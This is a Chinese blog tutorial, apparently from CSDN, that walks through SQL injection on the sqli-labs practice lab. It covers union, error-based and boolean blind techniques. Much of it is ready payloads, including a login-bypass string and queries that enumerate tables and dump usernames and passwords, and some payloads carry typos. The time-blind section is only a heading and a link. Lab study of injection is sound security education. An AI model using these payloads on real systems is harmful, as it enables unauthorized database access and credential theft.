SQL注入(sqli-labs)

本文详细介绍了SQL注入中的几种常见类型,包括union注入、报错注入、布尔盲注和时间盲注,通过实例演示了如何利用各种技术获取数据库信息,如用户数据、表名、列名等,强调了SQL注入对数据安全的影响及防范方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

万能密码 1’ or ‘1’=’1

一.sql

二.union联合注入的一般顺序

三.报错注入

四.布尔盲注

五、时间盲注


页面有回显——union注入

页面无回显,有报错——报错注入

页面无回显,反馈真、假值——布尔注入

以上都没有——时间盲注

万能密码 1’ or ‘1’=’1

#语句以sqli-labs为例

less1~4为union注入,less5利用extractValue()报错注入,Less-6 通过updateXmi()报错注入,Less-7,less-8 运用布尔盲注

SQL注入(实现无账号登录,甚至篡改数据库)sql语法中引号是必须成对出现否则就会报错 

·SQL注入漏洞对于数据安全的影响

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

2.网页篡改:通过操作数据库对特定网页进行篡改。

3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

6.破坏硬盘数据,瘫痪全系统。

一.sql

(例:拿到靶机中数据库里的所有用户名和密码)

1''.查找注入点(看有无回显):

回显注入、无回显注入(报错盲注)、延时盲注、布尔盲注

1.判断是字符型注入还是数字型注入:

使用and 1=1和and1=2(都能正常显示界面,为字符型注入)(数字型注入1=1)。

2.字符型需要闭合符' ') " ")等,数字型不需要闭合。

        闭合的作用:手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句。

3.注释符号“--+’或‘#’或'%23'(可以使它们后面的语句不被执行)。

        get请求传参时字符串中不允许出现空格和特殊字符,故注释符号可以为‘--+’‘--%20’‘%23’等,可用urlencode编码解决这个问题。

URL编码(URL encoding),也称作百分号编码(Percent-encoding), 是特定上下文的统一资源定位符 (URL)的编码机制。

常见特殊字符:

!#+?@:$空格
%21%23%2b%3F%40%3A%24%20

4.数据库:Information schema(包含所有mysql数据库的简要信息)

数据表:tables             数据列:columns

information_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。

tables是information_schema数据库中的一个表,表中储存了数据库的库名以及各个数据库中的表名等信息,可以根据数据库的库名查询到该数据库包含的表有哪些。

所以将group_concat(table_name) from information_schema.tables where table_schema='security'--+   翻译成人话就是:
从information_schema数据库中的tables表中查找数据库security所含有的表有哪些。

 
group_concat(column_name) from information_schema.columns where table_schema='security'--+
输出所有表中的所有列名

在information_schema数据库中还可以利用的表:

schema_name     储存了所有数据库的库名
tables                   储存了数据库库名,以及该库中包含的表名
table_schema      储存了数据库名
table_name          储存了数据表名

原文链接:https://blog.csdn.net/m0_51756263/article/details/125706971

5.所需要表名信息在

数据库Information_schema→数据表tables(columns)→数据列table_name (column_name)

?id=0' union select 1,table_name,3 from information_schema.tables --+

6.过滤在security数据库中的表名,即table_schema为security的行

?id=0' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+

7.group_concat()的作用:确保所有查询信息能放到一行显示出来(以逗号分隔开)

?id=0' union select 1,group_concat table_name),3 from information schema.tables where table_schema='security' --+

8.查询最终语句:

?id=0’ union select 1,group_concat(username,password),3 from users --+

9.插入“~”区分数据:

?id=0' union select 1,group_concat(username,'~',password),3 from users --+

 9’.爆出所有数据库名

?id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

二.union联合注入的一般顺序

1.查找注入点

2.判断是字符型还是数字型注入,and.1=1.1=2/3-1

3.如果字符型,找到他的闭合方式' ” ‘) ")

4.判断查询列数,group by或order by

5.查询回显位置,?id=-1或 0

6.最终目标:使用union注入拿到靶机中数据库里的所有用户名和密码。

(查询语句:select列名+from表名+where限定语句)

id=0' union select 1,group_concat(username,'~',password),3 from users --+

三.报错注入

报错注入原理

由于后台没有对数据库的信息做过滤,会输出到前台显示,那么可以通过制造报错函数,将查询语句带入到数据库中,以报错信息显示出来。(页面上没有回显)

0x7e是 ASCII表示形式的'~'

1.利用extractValue()报错注入

(1)爆数据库

?id=100' and 1=extractvalue(1,concat(0x7e,(select database())))--+

(2)爆数据表

?id=100' and 1=extractvalue(1,concat(0x7e,(select group concat(table_name) from
information schema.tables where table schema= database())))--+

(3)爆数据列

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) information_schema.columns where table _schema= database from and table name='users'))) --+

(4)最终结果

使用函数substring解决只能返回32个字符串问题

?id=100' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users)))--+

从第25个字符往后再显示30个字符

2.使用updatexml(1,2,3) 进行报错注入

        MySQL提供的 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

爆数据列

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema=database() and table_name-'users')),3) --+

最终结果

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) --+

(同样的,若字符串不完整用函数substring解决)

?id=1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,password),1,30)from users)),3) --+

四.布尔盲注

布尔盲注(ctfhub)-CSDN博客

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入。

一般顺序:

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

1.布尔盲注的条件:

?id=1' and 1=1--+ 真页面true

?id=1' and 1=2--+ 假页面false

2.函数substr((),1,1):从第1个字符开始,显示1个字符

>select ascii(substr((select database()),1,1));

3.limit 0,1:表示从第0行开始,显示1行,从0开始计数

substr((),1,1):表示从第1个字母开始,显示1个字母,从1开始计数

4.布尔盲注

?id=1' and ascii(substr('abcd',1,1))>97 --+

把'abcd'替换入想要查询的语句即可

5.判断数据库名称长度 

?id=1' and length(database())>6 --+ 

6.爆数据

?id=1' and ascii(substr(database(),1,1))>105 --+ 

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100--+

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100--+

?id=1' and ascii(substr((select password from users limit 0,1),1,1))>100 --+

五、时间盲注

时间盲注(ctfhub)-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值